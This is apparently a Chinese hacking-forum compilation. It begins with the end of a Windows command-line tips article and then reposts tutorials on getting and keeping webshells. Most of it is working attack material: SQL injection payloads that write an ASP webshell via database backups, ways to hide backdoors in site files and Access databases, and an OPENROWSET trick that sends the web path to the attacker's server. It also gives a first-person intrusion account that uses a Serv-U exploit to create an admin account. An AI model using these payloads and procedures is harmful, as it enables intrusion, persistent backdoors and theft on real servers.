如果测试通过，那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。
对于XP很简单，一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。（已经上传了三个文件，也就不在乎多一个了。^_^）
netdiag需要RemoteRegistry服务的支持。所以先启动该服务：
net start remoteregistry
不启动RemoteRegistry就会得到一个错误：
[FATAL] Failed to get system information of this machine.
netdiag这个工具功能十分强大，与网络有关的信息都可以获取！不过，输出的信息有时过于详细，超过命令行控制台cmd.exe的输出缓存，而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是：
netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。

软件安装
一个软件/工具的安装过程，一般来说只是做两件事：拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容，那么就可以自己在命令行下实现了。（不考虑安装后需要注册激活等情况）
WinPcap是个很常用的工具，但必须在窗口界面下安装。在网上也可以找到不用GUI的版本（但还是有版权页），其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照，很容易了解整个安装过程。
除去反安装的部分，关键的文件有三个：wpcap.dll，packet.dll和npf.sys。前面两个文件位于system32目录下，第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意，是系统服务（即驱动）不是Win32服务。
作为系统服务，不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键，在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是，并不需要手动添加它，winpcap被调用时会自动搞定。甚至完全不用手动修改注册表，所有的事winpcap都会自己完成，只需要将三个文件复制到合适的位置就行了。
作为范例，还是演示一下如何修改注册表：利用前面说过的inf文件来实现。
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat：
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用winrar将所有文件（5个）打包为自解压的exe，并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。
注意，批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装，基本上可以套用这个思路。但也有例外的，那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件，所以用copy命令是不行的。
幸好，Windows补丁包支持命令行安装。
比如：
KB824146.exe -n -z -q
-n 不保留备份
-z 不重起
-q 安静模式
如果有一堆补丁要打，那么用RAR打包成自解压文件，外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1，显示系统版本
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2，列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3，终止进程
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程，使用如下语法：
cscript pk.vbs 123
如果显示一个0，表示终止成功。
然后：
del pk.vbs
4，重启系统
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:!\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5，列举自启动的服务
@echo for each sc in getobject("winmgmts:\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6，列举正在运行的服务
@echo for each sc in getobject("winmgmts:\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7，显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
显示结果的格式是：
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区
8，显示系统运行时间
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t00^&"h "^&t mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数，不会出现在49.7天后溢出的情况。

附言
cmd shell博大精深，本文挂一漏万讲了一些常用技巧，希望对各位有所帮助。
也许你早知道了这些方法，也许你有更好的方法，希望你能写出来和大家分享。
最后，感谢你耐心看完本文。本人水平有限，错误之处恳请指正。


[转载]利用mssql差异备份获得webshell工具
文章来源：http://www.hackbase.com/
工具作者：xiaolu
利用差异备份提高提高backupwebshell的成功率,减少文件大小

步骤:

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
声明：方法不是我想的，我只是写工具，默认得到shell是

<%execute(request("a"))%>

by：xiaolu http://666w.com/


如何更简单的留你的webshell后门
信息来源：黑白网络
得到网站的webshell后，如果被管理员发现，那么你的马就没用了 ，被删了！
所以我们要隐藏好我们的SHELL,管理员都也不是混饭吃的，！
1.下面教一种很菜的方法，ASP插入法，不容易被发现~
在我们要做手脚的ASP文件里加入如下内容
<% if request("action")="ok" then %>
***********************
<% end if %>

在***********处加入你的shell代码
就哦克了
访问的时候在你做了手脚的ASP文件后面加上?action=shell（例如:index.asp?action=shell）
就可以调出webshell了，不影响正常浏揽

2.还有一种方法
前提是得到系统权限之后,
telnet肉肉IPPort
成功telnet之后,传一个asp木马
进入网站目录
最后是在下一层吧
md s...\
copy 1.asp s.../
OK,这样防毒软件就搞不到了
防问时 http://your/ 肉肉/s.../1.asp


利用log备份获取WEBSHELL
信息来源：未知
Blog被人渗透了一下，不知道各位掉了什么东西没有。原来有一次blog的目录可以列出来，那次我掉了一个小东西，然后今天别人告诉我NBSI 3用了那个东西的方法……呵呵，有点晕，就是下面的，成功率还是很高的，大家可以试试看。嗯，方法流出去无所谓，文章留着吧。
dbowner通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。
饭要一口一口的吃，技术问题也要一个一个的解决，得到webshell首先要知道物理路径，然后才能说其他的。关于物理路径的暴露有很多方法，注入也可以得到，这点nbsi2已经做到了，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。
默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：
alter database XXXX set RECOVERY FULL
其中XXXX是你得到的数据库的名字，执行过后就可以备份日志了。这种修改是破坏性的，因为你不知道以前的故障还原模式是什么，细心的管理员看到异样，可能就要开始起疑心。如果之前你能得到数据库的状态，最好还是在备份完以后把这个数据库的属性改回来。
剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应，如果你只是建立一个<%%>之类的表，日志里面的记录还是以松散的格式记录的，也就是< % % >，没有任何效果。通过实际的测试，发现还是可以通过与backup database类似的方式记录进去，如下：
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'
这样你已经得到一个webshell了。
到这里就完了么？没有，呵呵，我们继续。
到这里有两个分支方向，第一个，让注入的时候不出现单引号，太简单了，我都懒得写；第二个，减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的，同样适用于backup database的减小。
首先是初始化这个日志。
backup log XXXX to disk = 'c:\caonima' with init
这样有点类似于增量备份的第一步，不过有点不同的是，你做了这个以后，你备份出来的可用的shell是固定的。这一点比较重要，因为有了这一步，不管管理员在数据库里面做了什么扰乱你back database的手脚，或者你之前有多少混蛋（你肯定会这么想的）弄了些你不喜欢的东西，都没有关系，甚至你做过以后，别人在后面再按照你的方法来一次，还是会成功，这对于偶尔出现的反复，比如对方机器重装但是数据库和代码没变，有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点，大概的步骤已经确定下来了，那就是：
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:\Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'
这样不好，感觉上多了一条没用的东西。
create table cmd (a image)
确实有点讨厌，不过这句是必要的，只好调整一下位置，弄到其他地方去。调换一下顺序似乎还可以小一点，对于backup database中的增量情况同样是可以的，backup database甚至可以仅仅在update后马上备份，不过由于涉及到了数据的存储格式，情况很复杂，这里不讨论。调整后的是：
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = 'c:\Sammy' with init
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'
成功的话，备份出来的shell（上面的2.asp）有78.5k，文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧，当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端，很通用的。
进一步的，虽然不能再次缩小这个木马了，但是可以让垃圾文件少一点，那就是加上response.end，这样后面的垃圾数据就不再显示。所有的垃圾数据，你可以统计一下，大约只有6~12k，也就是说，<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近，最好的情况似乎在6k左右，而且这个概率分布比较靠前，很少见到10k以上。这还是比较令人满意的。
目前用backup log来测试的成功率是100%，就这样分析似乎不应该有失败的情况。无论如何，这个比backup database好太多了。
[后记]
这个备份出来的最终.asp大小仍然可能会浮动，最坏情况见过180k左右的，执行位置的偏移在30K附近，只出现过一次，再次备份的时候固定在80,384字节，不太明白原因。
半年来使用的成功率在90%以上，出现过两次异常，都是web注射的时候，对方的身份是sysadmin，在最后一步insert的时候，报“[Microsoft][ODBC SQL Server Driver]连接占线导致另一个 hstmt”，不明白原因，也没有进一步分析（其实就是不会分析）。


突破SQL错误提示上传webshell
文章作者：疯狗
信息来源：http://www.cnbct.org/
得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库
然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))--
在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
这样fenggou这个表里就会有这样一条记录SELECT a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a
不用说,''D:\WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM fenggou) exec (@a1);--
等于执行了SELECT a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a
OK,这时你在你机器上SQL事件追踪器上就会显示SELECT * FROM pubs.dbo.authors where au_fname='D:\WEB,,1'
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~
PS:如果出错的话转换为16进制试试哈.以上是在偶渗透失败,无奈的时候想的办法,也许高人早就知道了吧,笑过~


[转载]渗透某红客站点 由webshell到最高权限
信息来源：黑基
文章作者：ytt QQ:843199

8.1中日黑客大战，我站立下汗马功劳，但也因此招来了日本黑客无耻的报复，在日本黑客组织的多轮报复后，我们网站的服务器终于承受不了负担，而全面崩溃，而且有三台重要的服务器被烧毁。再日本黑客无耻的发动进攻时，我们站完全可以关掉服务器而避免服务器烧毁，但我们为了中国红客的尊严，坚持了下来。
我们站这次虽然损失比较大，但我们没有后悔，我们高兴我们能为中国的网络做出点贡献。
我们又购买回了新的服务器，已经调试完成，数据也正在恢复，目前数据恢复到了，2004.4.15日，其他数据我们也在紧张更新中，望继续支持、关注我们。

这段话,在黑客基地的内部群里古典辣M°发出来的,我第一个感觉是,好厉害喔,服务器都烧了,日本的黑客组织真厉害,哈哈,既然吹得那么厉害.就暂且放下手上的工作,去看看你的安全性.叫古典辣M发出那个站的地址,然后看了看,首先想到的是,看看是什么主机,用superscan3.0,导入我精心配置的扫描列表.
21.80,3389开放,其他的就不清楚了,(这文章是中秋的时候无聊写的,入侵已经是昨天的事了)
21用的是serv-u的服务端,看到这个我就发出星爷般的奸笑了.
80好像是iis5.0吧
是windows 2000的系统.
再到web上去看,有漏洞,可以注入,但是麻烦,而麻烦的事不做，是我的一向的作风，其实，我敢100%地打赌，他肯定是虚拟主机，用whois查询了一下
真多站，如果真的是他们的站，莫非他们还是做虚拟主机生意的，哈哈。
这么多的站，一个一个地找，是很麻烦的事，不过已经给一个叫xiutai的小p孩找到了一个有upfile.asp漏洞的dvbbs，果然，群众的眼睛是雪亮的，看来他惹了众怒了。现在要做什么.?当然是上传一个asp后门上去咯~!
用asp后门查看了一下,嗯,安全性不错,管理员还不是个白痴~!最起码我的Asp后门不能越权访问.
直接提交Url,查询C:\Program Files\发现不能访问,不过,但是我还有办法.
Xiaolu也都在<Serv-u Ftp Server 本地权限提升漏洞的终极防御>说了,很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限，导致可以在这个目录上传并运行Exp.
那么我就不客气了,直接上传了serv-u local exploit 和nc,并且把serv-u的本地提升权限的名字命名为su.exe !
文件就放在C:\Documents and Settings\All Users\ Documents,然后我们用su.exe直接建立用户,本来想反弹一个shell过来的,可惜,不成功,由于有事要做,就直接建立用户了!
当我用那个aspshell来 net use ytt,返回一下信息的时候:
用户名 ytt
全名
注释
用户的注释
国家(地区)代码 000 (系统默认值)
帐户启用 Yes
帐户到期 永不
上次设置密码 2004/9/27 下午 11:58
密码到期 永不
密码可更改 2004/9/27 下午 11:58
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 永不
可允许的登录小时数 All
本地组会员 *Administrators *Users
全局组成员 *None
命令成功完成。
我知道我已经拿到了最高权限了,既然拿到了最高权限,换首页好像也是必须做的事,不过算了,做人要厚道吖~!
不过说句实话,我发现有人比我们更早进去,我都发现了一个隐藏用户和给装上了radmin了!
Ps,好像不少人都走到一个误区,,就是要把这个本地提升权限的exp放到serv-u的安装目录那里去才行!ft,其实不是的.只要你的webshell可以运行,而且放su,exe的目录可以运行就可以了!


by:lcx http://www.icehack.com/

在ASP+MSSQL情况下InJection直接得到一个webshell是很平常的事情，但是在asp+acess下是一件不可能完成的任务，因为ACESS的弱智sql语句很难让你有所作为。不过，巧妙利用acess程序的一些特性，我们也可以间接得到一个webshell。

一、利用acess数据库备份到shell。

我曾经通过常规注射方法拿到了一个下载系统的后台密码。但是进入后台后却发现，程序不让你上传.asp、.asa、.cdx、.cer等文件，只允许图像和rar压缩文档上传，看样子程序编写者还是很注重防范asp木马的。难道就这样放弃吗？我在后台翻来倒去，发现了一个数据库备份功能。（图1）

利用sql语句来备份数据库？好像我还不知有这样的针对acess的sql语句。如果我估计不错的话，应当就是调用了asp的fso功能将当前数据库文件copy到另一个路径而已。于是我将海阳顶端网asp木马2004.asp改成2004.gif上传到了该下载系统空间，然后做了如图2所示的设置，意思是将2004.gif备份得另一个路径，文件名变为2004.asp。（图2）

点击图2的备份数据按扭后，我成功的得到了一个webshell。我估计不借的话，应当这可以作为一个通用的变通得到websehll的方法。bbsxp论坛我也试过，成功过。

二、利用数据库防下载功能得到webshell。

防止acess数据库被下载通常的做法是在数据库某个表中增加一个ole字段，字段里写入一个包含""保存成了1.asp，然后在点击图4的浏览按扭插入1.asp(图5)。

大功告成，我们现在已经可以把这个article.mdb改名为*.asp来当asp木马使用了。这里我写的这段asp代码的用法是*.asp?c=cmd命令，如*.asp?c=dir+c:\。自然，我们要来看看这个的article.mdb改名为lcx.asp如何运行。输入 http://192.168.0.9:3005/6k/lcx.asp?c=dir+d: \,在浏览器里得到了一大堆的乱码，拉动ie下拉条，成功看到了d:的目录列表。Yeah!(图6)

我曾经尝试把海阳顶网2004.asp代码写入数据库，但是没有成功过，毕竟代码太复杂了。也许你觉得我写的这段asp代码太简略，功能也简单，你可以尝试一下冰狐浪子的asp代码。下载地址是： http://www.xfocus.net/tools/200404/icyfox007v1.10.rar 。不过要注意的是，写入的asp代码只写 这一句即可。当然，我的方法也不能保证百分百成功，但成功率是很高的。这样把asp代码插入在网站的acess数据库中，是多么巧妙可怕而不能被查杀的asp后门呀。


使用webshell突破虚拟主机权限设置的一般思路
By:rain[918x]
http://www.918x.com

注入的发展给webshell的研究提供了孕育的环境，asp系统的上传漏洞，尤其是使用广泛的dvbbs的上传漏洞给webshell快速发展，另外，下载默认数据库或备份数据库，然后利用后台的数据库备份得到webshell也是非常重要的入侵的手段，尤其是dvbbs数据库的表dv_logs的设置，简直让md5形同虚设。
Webshell权限的提升的研究，一下子成为摆在众多web攻击爱好者的难题。最近经常看到有人问，得到了webshell，可是由于种种限制，不能得到权限，或者达不到旁注的目的，请求办法。
记得一位牛人说的话：只要有webshell，我就能获得管理员权限。
鄙人没有这么强，我只是根据我实际的入侵经验给大家谈谈虚拟主机的权限，错误与不足之处请大家指出，欢迎来我的网站和我讨论（http://www.918x.com/）。本文部分得到岁月联盟HaK_BaN的帮助，在此表示感谢。
在入侵中以下几种情况不属于我们探讨的范围。
可以跳转到任意目录并可写可执行；可以修改C:\Program Files\serv-u\ServUDaemon.ini；可以成功运行“cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps”提升权限的。可以成功用绑定木马的类似程序替换相关程序或服务。
好了，这里我们使用的木马主要是老兵的asp管理6.0，辅助的是砍客的C/S ASP木马。（这两个木马配合使用效果要比海洋好。）
一般虚拟主机是这样设置的：系统的每个分区禁止everyone访问的。每个网站用单独的iis用户，例如，iis_http://www.target.com/。一般虚拟主机设置这个用户是隶属guest组的，权限很低的。只能访问特定的文件夹。这就导致了网站目录不能跳转，你只能访问本网站所在文件夹。
但是我要强调的是，虽然禁止了C盘的everyone访问，但是大多数系统的C盘子文件夹没有继承父文件夹的限制，于是，我们可以手动的访问（注意：自己添加路径再转）C:\Documents and Settings和C:\Program Files，这个对入侵提升权限非常重要。
我们可以访问C:\Program Files\serv-u\ServUDaemon.ini,但是serv-u的利用太广泛了，一般的管理员都知道设置serv-u文件夹的权限，一般是不能修改的。
我们还可以手动访问并下载C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere下的*.cif文件，进而破解出pcAnywhere的用户名和密码来远程登陆。也可能出现管理员登录后我们就上不去，管理员离开后会把桌面锁定。这里老兵（http://www.gxgl.com/）给我们提供一个解决思路（http: //www.918x.com/showart.asp?art_id=47&cat_id=5）。
如果手动可以访问c:\php,c:\prel等，说明我们可以使用php，cgi等的webshell。具体这期《黑客X档案》里angel的文章就很成功地突破了限制，我就不多重复。
给angel补充一点：如果能看见C:\Program Files\Java Web Start\，可以试试用jsp的webshell，我遇见过一次，但是权限也不是很大。
用砍客的木马，我们可以看到有serv-u的运行，并且知道他的绝对路径，很自然可以想到serv-u的权限的提升。这里就要涉及到三点：1，上传溢出程序。2，cmd的可用。3，iis单用户要有运行程序的权限。对于第一点，老兵的木马涉及到Scripting .Dictionary（数据流上传辅助组件），Adodb .Stream（数据流上传组件），SoftArtisans.FileUp（SA-FileUp 文件上传组件），LyfUpload.UploadFile（刘云峰文件上传组件），Persits.Upload.1（ASPUpload 文件上传组件）一般来说是可以上传，没有问题的。（如果还不行，我推荐使用littlepigp无组件上传,hackbase.com有下的。）对于第二点，wscript.shell组件的使用非常重要，当出现了“拒绝访问。 ”，我们则可以知道对方的cmd不允许访问，这样我们可以上传一个cmd.exe来达到我们使用cmd的目的。但是当我们看见“ActiveX 部件不能创建对象”，说明我们完全不能使用cmd，入侵也就陷入了困境。对于第3点，则基本没有办法，例外的还是FTA分区的利用，权限再低，在FTA分区还是可以轻松运行程序的。
我们经常讲黑客要有发散性思维，不能总是思维定势。其他的一些突破方法，无非是基于对主机其他内容的利用来达到的。比如，有人利用flashfxp里的配置文件来获得一些密码基本信息。我们同样可以下载CuteFTP 的配置文件来替换本地文件也能达到相同的目的。
再稍微谈一下那篇“将asp木马权限提升到最高”里的方法，一般情况下，在我们可以使用cmd的前提下，虽然服务器支持FSO，但我们是没有访问C:\ Inetpub\的权限的，这样我们自然不能用“cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps”这句来提升权限的。如图：
点击打开新窗口
如果权限设置得太严格，唯一的通用的办法就是在“c:\Documents and Settings\All Users\「开始」菜单\程序\启动”写入bat，vbs等木马。等主机重启或者你ddos逼它重启，来达到权限提升的目的。
虚拟主机的设置有的是十分变态，比如：有些主机允许上传，但是不允许修改和删除；有些主机的Program Files被改为很变态的名字；有些主机的serv-u竟然是隶属guest组的用户来运行的；有些主机的杀毒做得十分惊人，n重加密过的种种木马难逃杀手，BT到了极点。
没有绝对安全的软件系统，所以我相信也没有绝对安全的虚拟主机，运气是一小部分。你的思维确非常重要。同样获得webshell，为什么高手可以成功实现权限的提升，你不行？我认为其实关键是发散的思维方式，而不是技术。
希望大家踊跃给我意见，Rain[918x]叩首！


轻轻松松打造属于自己的ASP木马

文章作者：枫三少

这段时间一直在家养病，人快疯了！回黑基随便逛逛。呵呵，发现一篇文章是ASP木马代码的。
看了看，突然想写点什么。也许是上面写的不完整吧。
第一步，修改密码：别人的马跟自己的区别第一个就是密码。
先把修改密码的地方找出来。代码如下：
if Epass(trim(request.form("password")))="qtjckgas3i" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %>
重点在(trim(request.form("password")))="qtjckgas3i"有些人以为这就是前一个人的密码。
呵呵，生成一个ASP上传一试。怎样？不行吧。呵呵。密码是加密了的。
第二步，按自己的意愿美化网页。
有人喜欢白色，有人喜欢黑色。象我，我就喜欢网页里有音乐。所以把HTML代码嵌入ASP里。注意如果ASP学得不是很好的
建议最好放在最顶端这样对于整个程序的思路都很清晰，而且不会破坏ASP内部语法。代码可以为：
<bgsound src="音乐的地址" loop="播放的次数，-1为无限循环">
颜色的修改。
如：COLOR: #000000; Color后面的参数就是颜色对应的参数。如果对参数不是很了解的，可以采用英语：Color:black;前面不加
“#”
当然了，美化可以根据自己的习惯来加，也可以加些特效脚本。不过我一般都只加音乐，多了就太花翘了，呵呵。
第三步，如何将原代码密码修改。
这步应该算第一步的补充吧，之所以放在后面单独说，因为他这里牵涉到一定的技术，也是本篇的精髓。"qtjckgas3i"这是被
加密过了的。是利用一个工具直接生成密码的。什么呢？呵呵，是段ASP代码。这里我给出源码希望大家能够学习一下。
<%
pass="yourpsw"
temppass=StrReverse(left(pass&"zxcvbnm,./",10))
templen=len(pass)
mmpassword=""
for j=1 to 10
mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1))
next
Epass=replace(mmpassword,"'","B")
%>
<%=Epass%>
将上面的ASP代码COPY到记事本里，然后另存为asp的，传到ASP空间上。打开，呵呵，看到了什么？乱码？没错。这是利用ASP代码
直接导成WIN碎片格式的，假定我们想设置的密码是"hacker"就把他跟pass="yourpsw"里的"yourpsw"替换，然后生成ASP上传下到
空间，打开，这时候现实的就是我们加密后的密码：q_uxqeledm 这时候把原木马的PSW-"qtjckgas3i"给替换成我们加密后的密码
这样一个个性的ASP木马就出来了。登陆ASP木马时使用没有加密的密码登陆！
大家可以看看这是我简单修改后的ASP木马.

PS:很多人问我这个ASP木马是怎么加密的，因为当时X档案拿去了，所以不能说，现在出刊了，就把它拿出来，希望还赶得上。：）


利用ACCESS数据库得到webshell

文章作者：lcx
在ASP+MSSQL情况下InJection直接得到一个webshell是很平常的事情，但是在asp+acess下是一件不可能完成的任务，因为ACESS的弱智sql语句很难让你有所作为。不过，巧妙利用acess程序的一些特性，我们也可以间接得到一个webshell。
一、利用acess数据库备份到shell。
我曾经通过常规注射方法拿到了一个下载系统的后台密码。但是进入后台后却发现，程序不让你上传.asp、.asa、.cdx、.cer等文件，只允许图像和rar压缩文档上传，看样子程序编写者还是很注重防范asp木马的。难道就这样放弃吗？我在后台翻来倒去，发现了一个数据库备份功能。（图1）
利用sql语句来备份数据库？好像我还不知有这样的针对acess的sql语句。如果我估计不错的话，应当就是调用了asp的fso功能将当前数据库文件copy到另一个路径而已。于是我将海阳顶端网asp木马2004.asp改成2004.gif上传到了该下载系统空间，然后做了如图2所示的设置，意思是将2004.gif备份得另一个路径，文件名变为2004.asp。（图2） 点击图2的备份数据按扭后，我成功的得到了一个webshell。我估计不借的话，应当这可以作为一个通用的变通得到websehll的方法。bbsxp论坛我也试过，成功过。
二、利用数据库防下载功能得到webshell。
防止acess数据库被下载通常的做法是在数据库某个表中增加一个ole字段，字段里写入一个包含“<%”的二进制数据，然后将.mdb后缀改成.asp就可以防止下载了。这种作法的原理其实就是把这个.mdb变成.asp文件，而.asp文件自然无法下载。想到了没有？如果这里我们在.mdb文件里写入一个asp的后门代码的话，肯定它也会执行的。来吧，一步一步跟我做。
我在网上随便一个找了一个文章系统的article.mdb文件，用acess2003打开建了一个nodown字段，数据类型为ole对像，根据提示保存表名为nodwon表。（这里我没有给nodwon表设定主键）。（图3）
然后双击nodwon表，点acess2003的插入菜单里的对象选项，在弹出的对话框中选择由文件创建选项。（图4）
关键的一步到了，我将以下代码
“<%=server.createobject("wscript.shell").exec("cmd.exe /c" &request("c")).stdout.readall%>”保存成了1.asp，然后在点击图4的浏览按扭插入1.asp(图5)。
大功告成，我们现在已经可以把这个article.mdb改名为*.asp来当asp木马使用了。这里我写的这段asp代码的用法是*.asp?c=cmd命令，如*.asp?c=dir+c:\。自然，我们要来看看这个的article.mdb改名为lcx.asp如何运行。输入http://192.168.0.9:3005/6k/lcx.asp?c=dir+d:\,在浏览器里得到了一大堆的乱码，拉动ie下拉条，成功看到了d:的目录列表。Yeah!(图6)
